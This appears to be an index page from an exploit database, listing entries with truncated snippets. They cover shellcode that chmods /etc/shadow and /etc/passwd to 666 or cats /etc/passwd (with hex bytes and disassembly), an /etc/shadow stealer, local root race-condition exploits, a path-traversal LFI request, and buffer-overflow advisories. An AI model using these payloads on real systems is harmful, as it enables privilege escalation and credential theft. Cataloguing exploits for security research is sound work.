Solaris/x86 - SystemV killall command - 39 bytes

No description provided by source. / Title: Solaris/x86 - SystemV killall command - 39 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan ! Database of shellcodes: http://www.shell-storm.org/shellcode/ Date: 2010-06-0...

MusicDaemon <= 0.0.3 - Remote DoS and /etc/shadow Stealer (2)

No description provided by source. / MusicDaemon = 0.0.3 v2 Remote /etc/shadow Stealer / DoS Vulnerability discovered by: Tal0n 05-22-04 Exploit code by: Tal0n 05-22-04 Greets to: atomix, vile, ttl, foxtrot, uberuser, d4rkgr3y, blinded, wsxz, serinth, phreaked, h3x4gr4m, xaxisx, hex, phawnky,...

HP-UX 11.0 net.init RC Script Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/1602/info A vulnerability exists in HP-UX, from Hewlett Packard, under certain configurations. Version 11.0 is confirmed to have this problem; other versions may also be susceptible. If the CLEARTMP option in...

UMN Gopherd 2.x Halidate Function Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/1591/info It is possible to either execute arbitrary code or crash a remote system running University of Minnesota's Gopher Daemon, depending on the data entered. An unchecked buffer exists in the 'halidate' function of...

Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes

No description provided by source. / Title: Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes Author: Jean Pascal Pereira [email protected] Web: http://0xffe4.org Disassembly of section .text: 08048060 start: 8048060: 31 c0 xor %eax,%eax 8048062: 66 b9 b6 01 mov $0x1b6,%cx 8048066: 50 push...

Linux bin/cat /etc/passwd 43 bytes

No description provided by source. include stdio.h const char shellcode=\x31\xc0 // xorl %eax,%eax \x99 // cdq \x52 // push edx \x68\x2f\x63\x61\x74 // push dword 0x7461632f \x68\x2f\x62\x69\x6e // push dword 0x6e69622f \x89\xe3 // mov ebx,esp \x52 // push edx \x68\x73\x73\x77\x64 // pu sh dword...

Centrify Deployment Manager 2.1.0.283 - Local Root

No description provided by source. Centrify Deployment Manager v2.1.0.283 local root 12/7/2012 Taking a little longer look at the software, I managed to win a race condition and get root with files in /tmp. Here is my analysis: root@h0g:/tmp ls -l /etc/shadow -r-------- 1 root shadow 1010 Dec 7...

X.Org xorg-x11-xfs <= 1.0.2-3.1 - Local Race Condition Exploit

No description provided by source. !/bin/sh Xorg-x11-xfs Race Condition Vuln local root exploit CVE-2007-3103 Another lame xploit by vl4dZ : works on redhat el5 and before $ id uid=1001kecos gid=1001user groups=1001user $ sh xfs-RaceCondition-root-exploit.sh Generate large data file in...

Slackware Linux <= 3.5 /etc/group missing results in root access Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/155/info Due to the way /bin/login behaves when a /etc/group file is not present under Slackware's version of the password shadowing suite, users who log in while this file is not present will be given uid and gid 0. This...

Joomla Component com_pc LFI Vulnerability

No description provided by source. !/usr/bin/env python -- coding:utf-8 -- from pocsuite.net import req from pocsuite.poc import Output, POCBase from pocsuite.utils import register class TestPOCPOCBase: vulID = '67513' version = '1' author = 'p9k4r' vulDate = '2010-1-17' createDate = '2015-9-28'...

Adobe Version Cue 1.0/1.0.1 - Local Root Exploit (OSX)

No description provided by source. !/usr/bin/perl Adobe Version Cue VCNativeOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program writes data to a log file in the current working directory while running as setuid root. the logfile is formated...

Cray UNICOS /etc/nu -c Option Filename Processing Local Overflow

No description provided by source. source: http://www.securityfocus.com/bid/16205/info Cray UNICOS is prone to locally exploitable buffer overflow vulnerabilities. These issues are due to insufficient bounds checking of command line parameters in various utilities with setuid-superuser privileges...

linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes

No description provided by source. / Linux/x86 - chmod/etc/shadow,666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...

linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes

No description provided by source. / linux/x86 chmod/etc/shadow, 0666 + exit - 32 bytes - izik [email protected] / char shellcode = \x6a\x0f // push $0xf \x58 // pop %eax \x31\xc9 // xor %ecx,%ecx \x51 // push %ecx \x66\xb9\xb6\x01 // mov $0x1b6,%cx \x68\x61\x64\x6f\x77 // push $0x776f6461...

mypage 0.4 - Local File Inclusion Vulnerability

No description provided by source. mypage0.4 LFI Vulnerability Author: BAYBORA Site: www.1923turk.bizhttp://www.1923turk.biz Exploit: Vuln file: index.php?page=LFI Exploit: POST http://server/index.php?page=../../../../../../../../etc/passwd index.php ifisset$GET'page'...

linux/x86 chmod 666 /etc/shadow 27 bytes

No description provided by source. ; linux/x86 chmod 666 /etc/shadow 27 bytes ; root@thegibson ; 2010-01-15 section .text global start start: ; chmod//etc/shadow, 0666; mov al, 15 cdq push edx push dword 0x776f6461 push dword 0x68732f63 push dword 0x74652f2f mov ebx, esp mov cx, 0666o int 0x80...

SCO Unixware 7.1 pkginstall Buffer Overflow

No description provided by source. source: http://www.securityfocus.com/bid/853/info It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in...

slocate 2.5/2.6 - Local Buffer Overrun Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/6676/info A vulnerability has been discovered in slocate. It has been reported that a buffer overrun occurs when running the slocate program with command line arguments of excessive length. Specifically, it is possible to...

Yoggie Pico and Pico Pro Backticks Remote Code Execution Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/24743/info Yoggie Pico and Pico Pro are prone to a remote code-execution vulnerability because the device fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary code wi...

SCO Unixware 7.1 pkgcat Buffer Overflow

No description provided by source. source: http://www.securityfocus.com/bid/853/info It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in...